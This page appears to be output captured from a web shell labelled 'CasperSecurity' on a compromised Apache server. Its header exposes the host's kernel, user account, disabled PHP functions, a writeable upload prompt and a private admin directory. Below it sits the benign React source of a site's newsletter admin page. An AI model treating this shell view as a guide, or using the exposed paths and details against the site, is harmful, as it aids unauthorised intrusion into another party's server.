T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/lavocat.ca/private_html/src/pages/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/lavocat.ca/private_html/src/pages/admin/newsletter.tsx
import React, { useState, useEffect } from 'react';
import { useSession } from 'next-auth/react';
import { useRouter } from 'next/router';
import LayoutWithSidebar from '../../components/LayoutWithSidebar';
import { motion, AnimatePresence } from 'framer-motion';
import toast from 'react-hot-toast';
import Link from 'next/link';
import { canAccessNewsletter } from '@/lib/auth-utils';

interface NewsletterSubscription {
  id: string;
  email: string;
  language: string;
  source: string;
  subscriptionDate: string;
  isActive: boolean;
  confirmedAt?: string;
  unsubscribedAt?: string;
  tags?: string;
  createdAt: string;
  updatedAt: string;
}

interface NewsletterStats {
  total: number;
  active: number;
  inactive: number;
  byLanguage: Record<string, number>;
  bySource: Record<string, number>;
}

interface Analytics {
  overview: {
    totalSubscribers: number;
    activeSubscribers: number;
    newSubscribers: number;
    unsubscribers: number;
    totalCampaigns: number;
    totalEvents: number;
    growthRate: number;
  };
  performance: {
    totalSent: number;
    totalOpened: number;
    totalClicked: number;
    totalBounced: number;
    totalUnsubscribed: number;
    openRate: number;
    clickRate: number;
    bounceRate: number;
    unsubscribeRate: number;
  };
  topCampaigns: Array<{
    id: string;
    name: string;
    subject: string;
    totalSent: number;
    totalOpened: number;
    totalClicked: number;
    openRate: number;
    clickRate: number;
    sentAt: string;
  }>;
}

const AdminNewsletter: React.FC = () => {
  const [language, setLanguage] = useState<'fr' | 'en'>('fr');

  const handleLanguageToggle = () => {
    const newLang = language === 'fr' ? 'en' : 'fr';
    setLanguage(newLang);
  };
  const { data: session, status } = useSession();
  const router = useRouter();
  const [subscriptions, setSubscriptions] = useState<NewsletterSubscription[]>([]);
  const [analytics, setAnalytics] = useState<Analytics | null>(null);
  const [loading, setLoading] = useState(true);
  const [activeTab, setActiveTab] = useState('overview');
  const [filters, setFilters] = useState({
    status: 'all',
    language: 'all',
    source: 'all',
    search: '',
    page: 1,
    limit: 20
  });

  useEffect(() => {
    if (status === 'authenticated' && canAccessNewsletter(session)) {
      fetchData();
    }
  }, [session, status, filters]);

  const fetchData = async () => {
    try {
      setLoading(true);
      
      // Fetch subscriptions and analytics in parallel
      const [subscriptionsRes, analyticsRes] = await Promise.all([
        fetch(`/api/admin/newsletter?${new URLSearchParams({
          page: filters.page.toString(),
          limit: filters.limit.toString(),
          status: filters.status,
          language: filters.language,
          source: filters.source,
          search: filters.search
        })}`),
        fetch('/api/admin/newsletter/analytics?timeframe=30d')
      ]);

      if (subscriptionsRes.ok) {
        const data = await subscriptionsRes.json();
        setSubscriptions(data.subscriptions);
      }

      if (analyticsRes.ok) {
        const data = await analyticsRes.json();
        setAnalytics(data);
      }

    } catch (error) {
      toast.error('Error fetching newsletter data');
    } finally {
      setLoading(false);
    }
  };

  const handleExport = async (format: 'csv' | 'json' = 'csv') => {
    try {
      const response = await fetch(`/api/admin/newsletter/export?format=${format}&status=${filters.status}`);
      
      if (response.ok) {
        const blob = await response.blob();
        const url = window.URL.createObjectURL(blob);
        const a = document.createElement('a');
        a.style.display = 'none';
        a.href = url;
        a.download = `newsletter-subscriptions-${new Date().toISOString().split('T')[0]}.${format}`;
        document.body.appendChild(a);
        a.click();
        window.URL.revokeObjectURL(url);
        toast.success(`Newsletter data exported as ${format.toUpperCase()}`);
      } else {
        toast.error('Export failed');
      }
    } catch (error) {
      toast.error('Export error');
    }
  };

  const handleBulkAction = async (action: 'activate' | 'deactivate' | 'delete', selectedIds: string[]) => {
    if (selectedIds.length === 0) {
      toast.error('No subscriptions selected');
      return;
    }

    if (action === 'delete' && !confirm(`Are you sure you want to delete ${selectedIds.length} subscription(s)?`)) {
      return;
    }

    try {
      const response = await fetch('/api/admin/newsletter/bulk', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ action, ids: selectedIds })
      });

      const data = await response.json();

      if (response.ok) {
        toast.success(`Successfully ${action}d ${selectedIds.length} subscription(s)`);
        fetchData();
      } else {
        toast.error(data.message || 'Bulk action failed');
      }
    } catch (error) {
      toast.error('Bulk action error');
    }
  };

  if (status === 'loading') {
    return <div className="flex justify-center items-center min-h-screen">Loading...</div>;
  }

  if (!session || !canAccessNewsletter(session)) {
    router.push('/');
    return null;
  }

  return (
    <LayoutWithSidebar>
      <div className="p-6 max-w-7xl mx-auto">
        {/* Header */}
        <div className="flex justify-between items-center mb-8">
          <div>
            <h1 className="text-3xl font-bold text-gray-900 dark:text-white">
              Newsletter Management
            </h1>
            <p className="text-gray-600 dark:text-gray-400 mt-2">
              Comprehensive newsletter management with advanced features
            </p>
          </div>
          <div className="flex space-x-3">
            <Link href="/admin/newsletter/templates">
              <button className="bg-green-600 hover:bg-green-700 text-white px-4 py-2 rounded-lg font-medium">
                📧 Templates
              </button>
            </Link>
            <button
              onClick={() => handleExport('csv')}
              className="bg-gray-600 hover:bg-gray-700 text-white px-4 py-2 rounded-lg font-medium"
            >
              📊 Export
            </button>
            <button
              onClick={fetchData}
              className="bg-blue-600 hover:bg-blue-700 text-white px-4 py-2 rounded-lg font-medium"
            >
              🔄 Refresh
            </button>
          </div>
        </div>

        {/* Tab Navigation */}
        <div className="bg-white dark:bg-gray-800 rounded-lg shadow-sm border border-gray-200 dark:border-gray-700 mb-6">
          <div className="flex border-b border-gray-200 dark:border-gray-700">
            {[
              { key: 'overview', label: '📊 Overview', icon: '📊' },
              { key: 'subscribers', label: '👥 Subscribers', icon: '👥' },
              { key: 'campaigns', label: '📧 Campaigns', icon: '📧' },
              { key: 'analytics', label: '📈 Analytics', icon: '📈' },
              { key: 'segments', label: '🎯 Segments', icon: '🎯' }
            ].map((tab) => (
              <button
                key={tab.key}
                onClick={() => setActiveTab(tab.key)}
                className={`px-6 py-3 font-medium text-sm border-b-2 transition-colors ${
                  activeTab === tab.key
                    ? 'border-blue-500 text-blue-600 dark:text-blue-400'
                    : 'border-transparent text-gray-500 dark:text-gray-400 hover:text-gray-700 dark:hover:text-gray-300'
                }`}
              >
                {tab.label}
              </button>
            ))}
          </div>
        </div>

        {/* Overview Tab */}
        {activeTab === 'overview' && analytics && (
          <div className="space-y-6">
            {/* Key Metrics */}
            <div className="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-6">
              <motion.div
                initial={{ opacity: 0, y: 20 }}
                animate={{ opacity: 1, y: 0 }}
                className="bg-white dark:bg-gray-800 rounded-lg shadow-sm border border-gray-200 dark:border-gray-700 p-6"
              >
                <div className="flex items-center justify-between">
                  <div>
                    <p className="text-sm font-medium text-gray-600 dark:text-gray-400">Total Subscribers</p>
                    <p className="text-3xl font-bold text-gray-900 dark:text-white">
                      {analytics.overview.totalSubscribers.toLocaleString()}
                    </p>
                  </div>
                  <div className="w-12 h-12 bg-blue-100 dark:bg-blue-900 rounded-lg flex items-center justify-center">
                    <span className="text-2xl">👥</span>
                  </div>
                </div>
                <div className="mt-4">
                  <div className={`flex items-center text-sm ${
                    analytics.overview.growthRate >= 0 ? 'text-green-600' : 'text-red-600'
                  }`}>
                    <span className="mr-1">{analytics.overview.growthRate >= 0 ? '↗️' : '↘️'}</span>
                    {Math.abs(analytics.overview.growthRate).toFixed(1)}% growth rate
                  </div>
                </div>
              </motion.div>

              <motion.div
                initial={{ opacity: 0, y: 20 }}
                animate={{ opacity: 1, y: 0 }}
                transition={{ delay: 0.1 }}
                className="bg-white dark:bg-gray-800 rounded-lg shadow-sm border border-gray-200 dark:border-gray-700 p-6"
              >
                <div className="flex items-center justify-between">
                  <div>
                    <p className="text-sm font-medium text-gray-600 dark:text-gray-400">Active Subscribers</p>
                    <p className="text-3xl font-bold text-gray-900 dark:text-white">
                      {analytics.overview.activeSubscribers.toLocaleString()}
                    </p>
                  </div>
                  <div className="w-12 h-12 bg-green-100 dark:bg-green-900 rounded-lg flex items-center justify-center">
                    <span className="text-2xl">✅</span>
                  </div>
                </div>
                <div className="mt-4">
                  <div className="flex items-center text-sm text-gray-600 dark:text-gray-400">
                    {((analytics.overview.activeSubscribers / analytics.overview.totalSubscribers) * 100).toFixed(1)}% of total
                  </div>
                </div>
              </motion.div>

              <motion.div
                initial={{ opacity: 0, y: 20 }}
                animate={{ opacity: 1, y: 0 }}
                transition={{ delay: 0.2 }}
                className="bg-white dark:bg-gray-800 rounded-lg shadow-sm border border-gray-200 dark:border-gray-700 p-6"
              >
                <div className="flex items-center justify-between">
                  <div>
                    <p className="text-sm font-medium text-gray-600 dark:text-gray-400">Open Rate</p>
                    <p className="text-3xl font-bold text-gray-900 dark:text-white">
                      {analytics.performance.openRate.toFixed(1)}%
                    </p>
                  </div>
                  <div className="w-12 h-12 bg-purple-100 dark:bg-purple-900 rounded-lg flex items-center justify-center">
                    <span className="text-2xl">📧</span>
                  </div>
                </div>
                <div className="mt-4">
                  <div className="flex items-center text-sm text-gray-600 dark:text-gray-400">
                    {analytics.performance.totalOpened.toLocaleString()} of {analytics.performance.totalSent.toLocaleString()} sent
                  </div>
                </div>
              </motion.div>

              <motion.div
                initial={{ opacity: 0, y: 20 }}
                animate={{ opacity: 1, y: 0 }}
                transition={{ delay: 0.3 }}
                className="bg-white dark:bg-gray-800 rounded-lg shadow-sm border border-gray-200 dark:border-gray-700 p-6"
              >
                <div className="flex items-center justify-between">
                  <div>
                    <p className="text-sm font-medium text-gray-600 dark:text-gray-400">Click Rate</p>
                    <p className="text-3xl font-bold text-gray-900 dark:text-white">
                      {analytics.performance.clickRate.toFixed(1)}%
                    </p>
                  </div>
                  <div className="w-12 h-12 bg-orange-100 dark:bg-orange-900 rounded-lg flex items-center justify-center">
                    <span className="text-2xl">🖱️</span>
                  </div>
                </div>
                <div className="mt-4">
                  <div className="flex items-center text-sm text-gray-600 dark:text-gray-400">
                    {analytics.performance.totalClicked.toLocaleString()} clicks
                  </div>
                </div>
              </motion.div>
            </div>

            {/* Top Campaigns */}
            <div className="bg-white dark:bg-gray-800 rounded-lg shadow-sm border border-gray-200 dark:border-gray-700">
              <div className="p-6 border-b border-gray-200 dark:border-gray-700">
                <h3 className="text-lg font-semibold text-gray-900 dark:text-white">🏆 Top Performing Campaigns</h3>
                <p className="text-gray-600 dark:text-gray-400 text-sm mt-1">Best campaigns by open rate in the last 30 days</p>
              </div>
              <div className="p-6">
                {analytics.topCampaigns.length > 0 ? (
                  <div className="space-y-4">
                    {analytics.topCampaigns.map((campaign, index) => (
                      <div key={campaign.id} className="flex items-center justify-between p-4 bg-gray-50 dark:bg-gray-700 rounded-lg">
                        <div className="flex items-center space-x-4">
                          <div className={`w-8 h-8 rounded-full flex items-center justify-center text-white font-bold ${
                            index === 0 ? 'bg-yellow-500' : index === 1 ? 'bg-gray-400' : index === 2 ? 'bg-orange-500' : 'bg-blue-500'
                          }`}>
                            {index + 1}
                          </div>
                          <div>
                            <h4 className="font-medium text-gray-900 dark:text-white">{campaign.name}</h4>
                            <p className="text-sm text-gray-600 dark:text-gray-400 truncate max-w-xs">{campaign.subject}</p>
                          </div>
                        </div>
                        <div className="text-right">
                          <div className="flex items-center space-x-4 text-sm">
                            <div>
                              <p className="text-gray-600 dark:text-gray-400">Open Rate</p>
                              <p className="font-bold text-gray-900 dark:text-white">{campaign.openRate}%</p>
                            </div>
                            <div>
                              <p className="text-gray-600 dark:text-gray-400">Click Rate</p>
                              <p className="font-bold text-gray-900 dark:text-white">{campaign.clickRate}%</p>
                            </div>
                            <div>
                              <p className="text-gray-600 dark:text-gray-400">Sent</p>
                              <p className="font-bold text-gray-900 dark:text-white">{campaign.totalSent}</p>
                            </div>
                          </div>
                        </div>
                      </div>
                    ))}
                  </div>
                ) : (
                  <div className="text-center py-8">
                    <span className="text-4xl mb-4 block">📧</span>
                    <p className="text-gray-600 dark:text-gray-400">No campaigns sent yet</p>
                    <Link href="/admin/newsletter/campaigns">
                      <button className="mt-4 bg-blue-600 hover:bg-blue-700 text-white px-4 py-2 rounded-lg">
                        Create Your First Campaign
                      </button>
                    </Link>
                  </div>
                )}
              </div>
            </div>

            {/* Quick Actions */}
            <div className="grid grid-cols-1 md:grid-cols-3 gap-6">
              <Link href="/admin/newsletter/templates">
                <div className="bg-gradient-to-r from-blue-500 to-blue-600 rounded-lg p-6 text-white cursor-pointer hover:from-blue-600 hover:to-blue-700 transition-all">
                  <div className="flex items-center justify-between">
                    <div>
                      <h3 className="text-lg font-semibold">Email Templates</h3>
                      <p className="text-blue-100 mt-1">Create reusable templates</p>
                    </div>
                    <span className="text-3xl">📧</span>
                  </div>
                </div>
              </Link>

              <Link href="/admin/newsletter/campaigns">
                <div className="bg-gradient-to-r from-green-500 to-green-600 rounded-lg p-6 text-white cursor-pointer hover:from-green-600 hover:to-green-700 transition-all">
                  <div className="flex items-center justify-between">
                    <div>
                      <h3 className="text-lg font-semibold">Campaigns</h3>
                      <p className="text-green-100 mt-1">Send targeted newsletters</p>
                    </div>
                    <span className="text-3xl">🚀</span>
                  </div>
                </div>
              </Link>

              <Link href="/admin/newsletter/segments">
                <div className="bg-gradient-to-r from-purple-500 to-purple-600 rounded-lg p-6 text-white cursor-pointer hover:from-purple-600 hover:to-purple-700 transition-all">
                  <div className="flex items-center justify-between">
                    <div>
                      <h3 className="text-lg font-semibold">Segments</h3>
                      <p className="text-purple-100 mt-1">Target specific audiences</p>
                    </div>
                    <span className="text-3xl">🎯</span>
                  </div>
                </div>
              </Link>
            </div>
          </div>
        )}

        {/* Subscribers Tab */}
        {activeTab === 'subscribers' && (
          <div className="space-y-6">
            {/* Search and Filters */}
            <div className="bg-white dark:bg-gray-800 rounded-lg shadow-sm border border-gray-200 dark:border-gray-700 p-4">
              <div className="grid grid-cols-1 md:grid-cols-4 gap-4">
                <input
                  type="text"
                  placeholder="Search by email..."
                  value={filters.search}
                  onChange={(e) => setFilters({ ...filters, search: e.target.value, page: 1 })}
                  className="border border-gray-300 dark:border-gray-600 rounded-md px-3 py-2 bg-white dark:bg-gray-700 text-gray-900 dark:text-white"
                />
                <select
                  value={filters.status}
                  onChange={(e) => setFilters({ ...filters, status: e.target.value, page: 1 })}
                  className="border border-gray-300 dark:border-gray-600 rounded-md px-3 py-2 bg-white dark:bg-gray-700 text-gray-900 dark:text-white"
                >
                  <option value="all">All Status</option>
                  <option value="active">Active</option>
                  <option value="inactive">Inactive</option>
                </select>
                <select
                  value={filters.language}
                  onChange={(e) => setFilters({ ...filters, language: e.target.value, page: 1 })}
                  className="border border-gray-300 dark:border-gray-600 rounded-md px-3 py-2 bg-white dark:bg-gray-700 text-gray-900 dark:text-white"
                >
                  <option value="all">All Languages</option>
                  <option value="en">English</option>
                  <option value="fr">French</option>
                </select>
                <select
                  value={filters.source}
                  onChange={(e) => setFilters({ ...filters, source: e.target.value, page: 1 })}
                  className="border border-gray-300 dark:border-gray-600 rounded-md px-3 py-2 bg-white dark:bg-gray-700 text-gray-900 dark:text-white"
                >
                  <option value="all">All Sources</option>
                  <option value="website">Website</option>
                  <option value="popup">Popup</option>
                  <option value="manual">Manual</option>
                </select>
              </div>
            </div>

            {/* Subscribers Table */}
            <div className="bg-white dark:bg-gray-800 rounded-lg shadow-sm border border-gray-200 dark:border-gray-700 overflow-hidden">
              <div className="overflow-x-auto">
                <table className="min-w-full divide-y divide-gray-200 dark:divide-gray-700">
                  <thead className="bg-gray-50 dark:bg-gray-700">
                    <tr>
                      <th className="px-6 py-3 text-left text-xs font-medium text-gray-500 dark:text-gray-300 uppercase tracking-wider">
                        Subscriber
                      </th>
                      <th className="px-6 py-3 text-left text-xs font-medium text-gray-500 dark:text-gray-300 uppercase tracking-wider">
                        Language
                      </th>
                      <th className="px-6 py-3 text-left text-xs font-medium text-gray-500 dark:text-gray-300 uppercase tracking-wider">
                        Source
                      </th>
                      <th className="px-6 py-3 text-left text-xs font-medium text-gray-500 dark:text-gray-300 uppercase tracking-wider">
                        Status
                      </th>
                      <th className="px-6 py-3 text-left text-xs font-medium text-gray-500 dark:text-gray-300 uppercase tracking-wider">
                        Subscribed
                      </th>
                      <th className="px-6 py-3 text-left text-xs font-medium text-gray-500 dark:text-gray-300 uppercase tracking-wider">
                        Actions
                      </th>
                    </tr>
                  </thead>
                  <tbody className="bg-white dark:bg-gray-800 divide-y divide-gray-200 dark:divide-gray-700">
                    {loading ? (
                      [...Array(5)].map((_, i) => (
                        <tr key={i} className="animate-pulse">
                          <td className="px-6 py-4"><div className="h-4 bg-gray-300 dark:bg-gray-600 rounded"></div></td>
                          <td className="px-6 py-4"><div className="h-4 bg-gray-300 dark:bg-gray-600 rounded"></div></td>
                          <td className="px-6 py-4"><div className="h-4 bg-gray-300 dark:bg-gray-600 rounded"></div></td>
                          <td className="px-6 py-4"><div className="h-4 bg-gray-300 dark:bg-gray-600 rounded"></div></td>
                          <td className="px-6 py-4"><div className="h-4 bg-gray-300 dark:bg-gray-600 rounded"></div></td>
                          <td className="px-6 py-4"><div className="h-4 bg-gray-300 dark:bg-gray-600 rounded"></div></td>
                        </tr>
                      ))
                    ) : subscriptions.length > 0 ? (
                      subscriptions.map((subscription) => (
                        <tr key={subscription.id} className="hover:bg-gray-50 dark:hover:bg-gray-700">
                          <td className="px-6 py-4 whitespace-nowrap">
                            <div className="text-sm font-medium text-gray-900 dark:text-white">
                              {subscription.email}
                            </div>
                          </td>
                          <td className="px-6 py-4 whitespace-nowrap">
                            <span className={`px-2 py-1 text-xs rounded-full ${
                              subscription.language === 'en' ? 'bg-blue-100 text-blue-800' : 'bg-green-100 text-green-800'
                            }`}>
                              {subscription.language.toUpperCase()}
                            </span>
                          </td>
                          <td className="px-6 py-4 whitespace-nowrap text-sm text-gray-600 dark:text-gray-400">
                            {subscription.source}
                          </td>
                          <td className="px-6 py-4 whitespace-nowrap">
                            <span className={`px-2 py-1 text-xs rounded-full ${
                              subscription.isActive 
                                ? 'bg-green-100 text-green-800 dark:bg-green-900 dark:text-green-300'
                                : 'bg-red-100 text-red-800 dark:bg-red-900 dark:text-red-300'
                            }`}>
                              {subscription.isActive ? 'Active' : 'Inactive'}
                            </span>
                          </td>
                          <td className="px-6 py-4 whitespace-nowrap text-sm text-gray-600 dark:text-gray-400">
                            {new Date(subscription.subscriptionDate).toLocaleDateString()}
                          </td>
                          <td className="px-6 py-4 whitespace-nowrap text-sm">
                            <div className="flex space-x-2">
                              <button className="text-blue-600 hover:text-blue-900 dark:text-blue-400 dark:hover:text-blue-300">
                                Edit
                              </button>
                              <button className="text-red-600 hover:text-red-900 dark:text-red-400 dark:hover:text-red-300">
                                Delete
                              </button>
                            </div>
                          </td>
                        </tr>
                      ))
                    ) : (
                      <tr>
                        <td colSpan={6} className="px-6 py-8 text-center">
                          <div className="text-gray-500 dark:text-gray-400">
                            <span className="text-4xl mb-4 block">📧</span>
                            <p>No subscribers found</p>
                          </div>
                        </td>
                      </tr>
                    )}
                  </tbody>
                </table>
              </div>
            </div>
          </div>
        )}

        {/* Coming Soon for other tabs */}
        {['campaigns', 'analytics', 'segments'].includes(activeTab) && (
          <div className="bg-white dark:bg-gray-800 rounded-lg shadow-sm border border-gray-200 dark:border-gray-700 p-12 text-center">
            <span className="text-6xl mb-6 block">🚧</span>
            <h3 className="text-xl font-semibold text-gray-900 dark:text-white mb-2">
              {activeTab.charAt(0).toUpperCase() + activeTab.slice(1)} Coming Soon!
            </h3>
            <p className="text-gray-600 dark:text-gray-400 mb-6">
              This advanced feature is being built with enterprise-level functionality.
            </p>
            <div className="flex justify-center space-x-4">
              <Link href="/admin/newsletter/templates">
                <button className="bg-blue-600 hover:bg-blue-700 text-white px-6 py-2 rounded-lg">
                  📧 Manage Templates
                </button>
              </Link>
              <button
                onClick={() => setActiveTab('overview')}
                className="bg-gray-600 hover:bg-gray-700 text-white px-6 py-2 rounded-lg"
              >
                📊 Back to Overview
              </button>
            </div>
          </div>
        )}
      </div>
    </LayoutWithSidebar>
  );
};

export default AdminNewsletter; 

CasperSecurity Mini